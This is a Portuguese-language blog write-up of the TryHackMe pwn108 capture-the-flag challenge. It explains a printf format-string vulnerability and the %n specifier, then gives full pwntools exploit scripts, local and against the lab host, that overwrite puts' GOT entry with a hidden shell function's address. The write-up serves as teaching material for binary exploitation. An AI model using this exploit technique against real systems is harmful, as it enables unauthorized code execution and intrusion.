CTF pwn108 @ TryHackMe
Esse artigo é um write-up do desafio pwn108 da TryHackMe. Esse desafio faz parte da sala PWN101 de exploração de binários. O link da sala é https://tryhackme.com/room/pwn101.
Se você quiser dar uma olhada nos artigos anteriores da minha série sobre CTFs de exploração de binários, o link é o seguinte:
Vamos ao desafio de hoje! O início do processo é o mesmo dos artigos anteriores. Vamos começar rodando o comando abaixo para ver o tipo do arquivo do desafio:
file pwn108Como já é de costume, trata-se de um arquivo executável para Linux (64 bits). Agora vamos dar permissão de execução no arquivo e rodá-lo para ver o que ele faz:
chmod +x pwn108 && ./pwn108O programa exibe um banner e uma mensagem inicial, pede 2 entradas de dados para o usuário, exibe mais um texto e termina. Vamos abrir o binário no Ghidra para analisar essas entradas de dados:
Analisando as entradas nas linhas 16 e 18 da função main, e como o programa as utiliza, identificamos uma vulnerabilidade de format string na linha 22. A exploração ocorre através da segunda entrada de dados (variável local_78).
Vamos explorar a vulnerabilidade da mesma forma que fizemos no desafio pwn106 para verificar se a flag está na memória:
./pwn108
AAAAAAAA
%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %pAparentemente a flag não está na memória (teste não exaustivo), mas identificamos que a primeira entrada de dados aparece no que seria o sexto argumento do printf. A segunda entrada de dados aparece a partir do que seria o décimo argumento do printf.
Vamos continuar nossa análise exibindo as funções do binário no Ghidra:
Ordenando pela coluna Location, deixamos as funções criadas pelo desenvolvedor do programa juntas na lista. Isso facilita a identificação de funções (criadas pelo desenvolvedor do programa) que não estão sendo chamadas por outras funções.
Perceba que entre as funções main e banner tem uma função chamada holidays, que não é chamada pelas outras funções do programa. Vamos dar uma olhada no código dela:
Na linha 14 temos a execução de um shell! Agora a pergunta é a seguinte: é possível utilizar a técnica ret2win para redirecionar o fluxo de execução do programa para essa função e ganhar um shell?
Para nos ajudar a responder essa pergunta, vamos verificar quais são as proteções de segurança que estão habilitadas no binário:
checksec --file=pwn108PIE está desabilitada, ou seja, os endereços das funções do programa vão permanecer sempre iguais.
E temos um outro ponto importante: Partial RELRO permite a sobrescrita da GOT (Global Offset Table), uma tabela na memória que armazena, entre outras coisas, endereços de funções externas como as da biblioteca libc.
Get Rafael David’s stories in your inbox
Join Medium for free to get updates from this writer.
Se conseguirmos utilizar a vulnerabilidade de format string para sobrescrever o endereço de uma função da libc utilizada no programa (como por exemplo puts) com o endereço da função holidays, podemos redirecionar o fluxo de execução do programa e ganhar um shell.
Na função printf, o especificador de formato %n é utilizado para armazenar em uma variável a quantidade de caracteres que já foram impressos até aquele ponto. No argumento correspondente, você coloca o endereço onde esse valor deve ser gravado.
O programa abaixo mostra um exemplo do uso normal de %n:
// teste.c
#include <stdio.h>
void main() {
int x;
printf("abcd%n\n", &x);
printf("%d\n", x);
}Compilando e executando o programa acima, temos o seguinte resultado:
gcc teste.c
./a.outEm resumo, o programa exibe 4 caracteres na primeira linha, utiliza o %n para armazenar essa quantidade no endereço da variável x e depois imprime o valor de x na segunda linha.
Precisamos sobrescrever o endereço da função puts na GOT com o endereço da função holidays. Então primeiro temos que imprimir uma quantidade de caracteres que seja igual ao endereço de puts. E vamos usar %n para escrever esse valor na GOT.
Para escrevermos a quantidade de caracteres que precisamos, vamos usar o especificador %s da função printf, acrescentando o valor x no formato %xs. x nesse caso é a quantidade mínima de caracteres que serão impressos. Segue um exemplo do uso normal de %xs:
// teste2.c
#include <stdio.h>
void main() {
char* str = "oi";
int x;
printf("%10s%n\n", str, &x);
printf("%d\n", x);
}Compilando e executando o código acima, temos o seguinte resultado:
Note que o %n fez com que o valor 10 utilizado em %10s fosse escrito no endereço do argumento correspondente (&x). Anteriormente vimos que a primeira entrada de dados do programa aparece como sexto argumento da função printf quando exploramos a vulnerabilidade de format string.
Por isso, em vez de usarmos apenas %n, vamos usar %6$n, para dizer que a quantidade de caracteres deve ser escrita no endereço do sexto argumento. E vamos passar na primeira entrada de dados o endereço de puts na GOT.
Por fim, vamos usar também o especificador de tamanho ll (long long) para especificar que serão escritos 8 bytes no endereço utilizado por %n. O nosso hack da função printf, que será passado na segunda entrada de dados, vai ficar assim:
%<endereço de holidays>s%6$llnEm vez de analisarmos o programa para encontrarmos os 2 endereços que precisamos (de holidays e de puts na GOT), vamos usar mais um recurso interessante da pwnlib: o módulo ELF. Com isso, o nosso exploit local vai ficar assim:
1 # local_exploit.py
2 from pwn import *
3 elf = ELF("./pwn108")
4 io = process("./pwn108")
5 io.sendline(p64(elf.got.puts))
6 io.sendline(b"%" + str(elf.symbols.holidays).encode("utf-8") + b"s%6$lln")
7 io.interactive()Na linha 5, estou passando na primeira entrada de dados o endereço de puts na GOT (elf.got.puts). Como se trata de um endereço, usei a função p64 para fazer o packing. Na linha 6, estou passando a segunda entrada de dados.
O endereço da função holidays é recuperado através de elf.symbols.holidays. O valor retornado precisa ser convertido primeiro em string (str) e depois em bytes (encode) para ser concatenado com o restante do conteúdo. Vamos rodar o exploit local para ver se funciona:
python local_exploit.pyFuncionou! A versão remota do exploit vai ficar assim:
1 # remote_exploit.py
2 from pwn import *
3 elf = ELF("./pwn108")
4 io = remote("10.64.134.231", 9008)
5 io.sendline(p64(elf.got.puts))
6 io.sendline(b"%" + str(elf.symbols.holidays).encode("utf-8") + b"s%6$lln")
7 io.interactive()Agora, é só testar o exploit remoto:
python remote_exploit.pyConseguimos um shell remoto e lá está a flag! Com isso, concluímos a resolução desse desafio. Espero que você tenha curtido. Feedbacks, como sempre, são muito bem-vindos. Até a próxima!









